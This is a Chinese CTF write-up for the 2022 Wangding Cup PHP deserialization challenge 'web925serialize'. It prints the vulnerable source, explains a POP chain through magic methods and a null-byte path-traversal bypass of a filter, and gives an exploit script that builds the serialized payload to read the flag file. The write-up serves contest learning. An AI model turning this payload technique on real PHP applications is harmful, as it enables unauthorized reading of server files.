[2022网鼎杯]web925serialize

发布于 2022-08-30  10 次阅读


[2022网鼎杯]web925serialize

源码

 <?php

class abaaba{
    protected $DoNotGet;

    public function __get($name){
        $this->DoNotGet->$name = "two";
        return $this->DoNotGet->$name;
    }

    public function __toString(){
        return $this->Giveme;
    }
}

class Onemore{

    public $file;
    private $filename = "one";

    public function __construct(){
        $this->readfile("images/def.jpg");
    }

    public function readfile($f){
        $this->file = isset($f) ? $f : 'image'.$this->file;
        echo file_get_contents(safe($this->file));
    }

    public function __invoke(){
        return $this->filename->Giveme;
    }
}

class suhasuha{
    private $Giveme;
    public $action;

    public function __set($name, $value){
        $this->Giveme = ($this->action)();
        return $this->Giveme;
    }
}

class One{
    public $count;

    public function __construct(){
        $this->count = "one";
    }

    public function __destruct(){
        echo "try ".$this->count." again";
    }

}

function safe($path){
    $path = preg_replace("/.*\/\/.*/", "", $path);
    $path = preg_replace("/\..\..*/", "!", $path);
    $path = htmlentities($path);
    return strip_tags($path);
}

if(isset($_GET['game'])){
    unserialize($_GET['game']);
}
else{
    show_source(__FILE__);
}

pop链分析

首先这个链子从正向分析不是很复杂,首先根据题目提示,进入One类。

然后去寻找tostring方法,找到了abaaba类。

abaaba类中$DoNotGet可控,类中的$this->Giveme变量明显会调用get方法。

然后将get调用下面的set方法。set方法直接调用Onemore类中的readfile方法。


现在的关键就是怎么用Onemore类调用readfile方法

$this->Giveme = ($this->action)();这个地方可以利用php数组的特性,

$this->action的值直接赋值为:[new Onemore, reafile] 这样是支持直接等于$a=new Onemore();$a->readfile()

最后safe函数的绕过:

由于strip_tags会处理00字节的特性,利用\x00绕过过滤preg_replace的检验

EXP

 <?php

class abaaba{
    protected $DoNotGet;
    public  function __construct()
    {
        $this->DoNotGet=new suhasuha();
    }

    public function __get($name){
        $this->DoNotGet->$name = "two";
        return $this->DoNotGet->$name;
    }

    public function __toString(){
        return $this->Giveme;
    }
}

class Onemore{

    public $file;
    private $filename = "one";

    public function __construct(){
        $this->readfile("images/def.jpg");
    }

    public function readfile($f){
        $this->file = isset($f) ? $f : 'image'.$this->file;
        echo file_get_contents(safe($this->file));
    }

    public function __invoke(){
        return $this->filename->Giveme;
    }
}

class suhasuha{
    private $Giveme;
    public $action;
    public function __construct()
    {

        $a = new Onemore();
        $a->file = "flag";
        $this->action = [$a, 'readfile'];
    }


    public function __set($name, $value){
        $this->Giveme = ($this->action)("/../\x00../\x00../\x00../flag");
        return $this->Giveme;
    }
}

class One{
    public $count;

    public function __construct(){
        $this->count = new abaaba();
    }

    public function __destruct(){
        echo "try ".$this->count." again";
    }

}

function safe($path){
    $path = preg_replace("/.*\/\/.*/", "", $path);
    $path = preg_replace("/\..\..*/", "!", $path);
    $path = htmlentities($path);
    return strip_tags($path);
}

#$k=urldecode("O%3A3%3A%22One%22%3A1%3A%7Bs%3A5%3A%22count%22%3BO%3A6%3A%22abaaba%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00DoNotGet%22%3BO%3A8%3A%22suhasuha%22%3A2%3A%7Bs%3A16%3A%22%00suhasuha%00Giveme%22%3BN%3Bs%3A6%3A%22action%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22Onemore%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A4%3A%22flag%22%3Bs%3A17%3A%22%00Onemore%00filename%22%3Bs%3A3%3A%22one%22%3B%7Di%3A1%3Bs%3A8%3A%22readfile%22%3B%7D%7D%7D%7D");
#unserialize($k);


$one=new One();
$ser=serialize($one);
print($ser."\n");
print(urlencode($ser));


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”